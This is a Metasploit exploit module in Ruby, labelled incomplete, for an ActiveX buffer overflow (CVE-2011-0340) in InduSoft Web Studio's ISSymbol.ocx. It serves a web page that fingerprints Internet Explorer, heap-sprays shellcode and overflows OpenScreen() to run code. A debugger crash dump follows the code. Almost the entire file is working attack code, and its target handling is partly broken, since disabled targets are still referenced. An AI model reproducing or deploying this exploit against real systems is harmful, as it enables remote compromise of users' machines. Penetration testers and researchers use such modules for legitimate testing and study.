##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "[INCOMPLETE] InduSoft Web Studio 7 ISSymbol ActiveX OpenScreen() Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in ISSymbol.ocx, a component that is
				installed by InduSoft Web Studio and InduSoft Client.  By supplying a long string of
				data to the 'OpenScreen' function, a buffer overflow occurs where no proper bounds
				checking is done before function wcscpy() is used, which leads to arbitrary code
				excution.

				IE6 is stable, but it's not triggering on IE7/8
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision$",
			'Author'         =>
				[
					'Dmitriy Pletnev',  #Initial discovery
					'sinn3r',           #Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2011-0340' ],
					[ 'BID', '47596' ],
					[ 'URL', 'http://secunia.com/advisories/43116/' ],
					[ 'URL', 'http://www.indusoft.com' ],
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "seh",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', { 'Rop' => nil,    'Offset' => '0x5F4' } ],
=begin
					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil,    'Offset' => '0x5F4' } ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' => 'wp',   'Offset' => '0x5f4' } ],
					[ 'IE 7 on Windows Vista',  { 'Rop' => nil,    'Offset' => '0x5f4' } ],
					[ 'IE 8 on Windows Vista',  { 'Rop' => 'java', 'Offset' => '0x5f4' } ],
					[ 'IE 8 on Windows 7',      { 'Rop' => 'java', 'Offset' => '0x5f4' } ]
=end
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 27 2011",
			'DefaultTarget'  => 0))
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[4]  #IE 7 on Windows Vista
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
			return targets[5]  #IE 8 on Windows Vista
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
			return targets[6]  #IE 8 on Windows 7
		else
			return nil
		end
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
			send_not_found(cli)
			return
		end

		js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		js = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();

		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}

		var overflow = nops.substring(0, 10000);
		JS

		js = heaplib(js, {:noobfu => true})

		html = <<-EOS
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object classid='clsid:9A6AEBF9-E182-4BA9-BA75-1EE8A7651EC0' id='obj'></object>
		<script>
		obj.OpenScreen(overflow);
		</script>
		</body>
		</html>
		EOS

		print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, html, {'Content-Type'=>'text/html'})

	end

end

=begin
ISSymbol.ocx (build 301.1009.2904.0)  C:\PROGRA~1\INDUSO~1.0\BIN\ISSymbol.OCX

Call stack of main thread
Address    Returns to    Procedure / arguments                 Called from                   Frame      Stack Dump
0013D944   1D1E3D38      MSVCR90.wcscpy                        ISSymbol.1D1E3D32             0013DB8C   0013D960 2128863
0013D948   0013D960        dest = 0013D960
0013D94C   21288638        src = "???????????????????????????
0013DB90   1D1E3846      ? ISSymbol.1D1E3C80                   ISSymbol.1D1E3841
0013DCA8   78A3F97C      Includes ISSymbol.1D1E3846            mfc90u.78A3F97A               0013DCA4
0013DD58   78A3F6CE      Includes mfc90u.78A3F97C              mfc90u.78A3F6C8               0013DD54   00000555 0000000
0013DD78   78ACA93D      mfc90u.78A3F6AA                       mfc90u.78ACA938               0013DD74   00000555 0000000
0013DDA0   1D1FB1CA      <JMP.&mfc90u.#6795>                   ISSymbol.1D1FB1C5             0013DD9C   00000555 0000000
0013E01C   78A3E2F4      Includes ISSymbol.1D1FB1CA            mfc90u.78A3E2EE               0013E018   00000555 0000000
0013E02C   61DF6D65      *** CORRUPT ENTRY ***                                               0013E080


Executable modules, item 102
 Base=78520000
 Size=000A3000 (667648.)
 Entry=78542D40 MSVCR90.<ModuleEntryPoint>
 Name=MSVCR90
 File version=9.00.30729.4148
 Path=C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.4148_x-ww_d495ac4e\MSVCR90.dll


1D1E3D21   8D4D E8          LEA ECX,DWORD PTR SS:[EBP-18]
1D1E3D24   FF15 FC274A1D    CALL DWORD PTR DS:[<&mfc90u.#909>]       ; mfc90u.78A3368C  EAX=ECX
1D1E3D2A   50               PUSH EAX
1D1E3D2B   8D85 D4FDFFFF    LEA EAX,DWORD PTR SS:[EBP-22C]
1D1E3D31   50               PUSH EAX
1D1E3D32   FF15 B8144A1D    CALL DWORD PTR DS:[<&MSVCR90.wcscpy>]    ; MSVCR90.wcscpy




=end
